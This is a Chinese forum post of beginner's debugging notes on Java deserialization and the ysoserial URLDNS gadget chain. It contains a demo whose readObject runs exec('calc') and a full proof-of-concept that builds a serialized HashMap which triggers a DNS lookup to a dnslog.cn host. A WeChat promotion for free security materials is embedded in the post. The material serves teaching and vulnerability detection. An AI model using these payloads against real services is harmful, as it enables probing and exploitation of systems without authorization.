Java反序列化:URLDNS的反序列化调试分析

打印 上一主题 下一主题

主题 820|帖子 820|积分 2460

URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。
笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。
一. Java反序列化前置知识

Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。
Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。
测试源码如下,此部分源码参考了ol4three师傅的博客:
  1. package serialize;
  2. import java.io.*;
  3. public class deserTest implements Serializable {
  4.    private int n;
  5.    public deserTest(int n) {
  6.        this.n=n;
  7.    }
  8.    @Override
  9.    public String toString() {
  10.        return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
  11.                + super.toString() + "]";
  12.    }
  13.    // 反序列化
  14.    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
  15.        in.defaultReadObject();                 
  16.        Runtime.getRuntime().exec("calc");         
  17.        System.out.println("test");
  18.    }
  19.    public static void main(String[] args) {
  20.        deserTest x = new deserTest(5);
  21.        operation1.ser(x);
  22.        operation1.deser();
  23.        x.toString();
  24.    }
  25. }
  26. // 实现序列化和反序列化具体细节的类
  27. class operation1{
  28.    // 将输出字节流写入文件中进行封存
  29.    public static void ser(Object obj) {
  30.        // 序列化操作,写操作
  31.        try {
  32.             // 首先文件落地object.obj存储输出流,绑定输出流          
  33.            ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
  34.            // 重定向将输出流字节写入文件
  35.            ooStream.writeObject(obj);
  36.            
  37.            ooStream.flush();
  38.            ooStream.close();
  39.        } catch (FileNotFoundException e) {
  40.            e.printStackTrace();
  41.        }catch (IOException e) {
  42.            // TODO: handle exception
  43.            e.printStackTrace();
  44.        }
  45.    }
  46.    
  47.    
  48.    public static void deser() {
  49.        // 反序列化,读取操作
  50.        try {
  51.            // 绑定输入流
  52.            ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
  53.            
  54.            // 反序列化时需要从相关的文件容器中读取输出的字节流
  55.            // 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
  56.            Object xObject = iiStream.readObject();
  57.            iiStream.close();
  58.        } catch (IOException e) {
  59.            // TODO: handle exception
  60.            e.printStackTrace();
  61.        } catch (ClassNotFoundException e) {
  62.            // TODO Auto-generated catch block
  63.            e.printStackTrace();
  64.        }
  65.    }
  66. }
复制代码
[img=720,364.8382279741165]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230622200428296.png[/img]
二. ysoserial环境搭建

IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了
https://github.com/frohoff/ysoserial
注意配置好相应的JDK和SDK版本:
[img=720,397.95652173913044]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230704224019895.png[/img]
三. URLDNS攻击链


  • 影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关
  • URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势
调试分析

Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获
URLDNS程序入口

在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
main主函数的run函数打断点进入
[img=720,292.3572474377745]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230704233815765.png[/img]
这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序,然后统一调用来运行各部分的payload
首先是进行序列化:
[img=720,402.83185840707966]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706141716624.png[/img]
[img=720,336.2146050670641]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706142531102.png[/img]
继续往下,生成command,由于是分析URLDNS攻击链,所以只需要修改将返回值为dnslog的临时地址
[img=720,263.0769230769231]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706142701137.png[/img]
创建实例后,进入到URLDNS的getObject的payload函数
[img=720,347.9553903345725]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706143357422.png[/img]
getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域
[img=720,246.5014409221902]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706170830440.png[/img]

反序列化链子:

在反序列化入口处打断点:
[img=720,236.57142857142858]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706195621770.png[/img]
在反序列化时调用了readObject函数
[img=720,253.27251995438996]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201128369.png[/img]
然后进入HashMap.java的readObject函数
[img=720,498.23855057876193]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201250160.png[/img]
在readObject中调试到此行,了putval,在此处IDEA这个IDE可以选择进入的函数,直接进入后者hash
由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新putval
[img=720,112.57685009487666]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706201454673.png[/img]
传入的key不为空,执行key.hashCode
[img=720,121.1042944785276]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706211639259.png[/img]
进一步在URL.java文件下
[img=720,146.5486725663717]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203125428.png[/img]
进入URLStreamHandler的hashCode
[img=720,571.367292225201]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203401159.png[/img]
[img=720,121.28479657387581]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706202828241.png[/img]
[img=720,313.06484641638224]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706202850373.png[/img]
产生解析:
[img=720,291.60530191458025]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706203000482.png[/img]
总的来说,利用链思路如下:
在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数
那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现
列出几个路线上的关键函数看看:
[img=720,105.7002457002457]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214936664.png[/img]
[img=720,89.72754793138245]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214859555.png[/img]
由于此处key为String类型,则进入String.hashCode
[img=720,297.7737556561086]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214837635.png[/img]
相比之下,在反序列化中key为URL类型
[img=720,366.21284755512943]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706215923777.png[/img]
设置了不发起dns解析
[img=720,240.481444332999]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706221106262.png[/img]

具体执行流,可以看下时序图,我就不讲了^^
[img=720,718.8982402448355]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706214734409.png[/img]
四. URLDNS链的使用
  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.net.InetAddress;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.net.URLStreamHandler;
  7. import java.util.HashMap;
  8. public class Main{
  9.    // 序列化前不发生dns解析
  10.    static class SilentURLStreamHandler extends URLStreamHandler{
  11.        protected URLConnection openConnection(URL n) throws IOException{
  12.            return null;
  13.        }
  14.        protected synchronized InetAddress getHostAddress(URL n)
  15.        {
  16.            return null;
  17.        }
  18.    }
  19.    public static void main(String[] args) throws Exception{
  20.        HashMap hashMap = new HashMap();
  21.        // 设置put时不发起dns解析
  22.        URLStreamHandler handler = new Main.SilentURLStreamHandler();
  23.        URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
  24.        // 利用Java反射机制在动态执行时获取类
  25.        Class clazz = Class.forName("java.net.URL");
  26.        Field f = clazz.getDeclaredField("hashCode");
  27.        f.setAccessible(true);
  28.        hashMap.put(url, "123");
  29.        f.set(url, -1);
  30.        // 对象输出流绑定文件输出流
  31.        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
  32.        oos.writeObject(hashMap);   // 序列化
  33.        // 对象输入流绑定文件输入流
  34.        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
  35.        ois.readObject();           // 反序列化
  36.    }
  37. }
复制代码
[img=720,314.2419601837672]https://icfh-imgs-1313391192.cos.ap-nanjing.myqcloud.com/images/image-20230706222309238.png[/img]
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张国伟

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表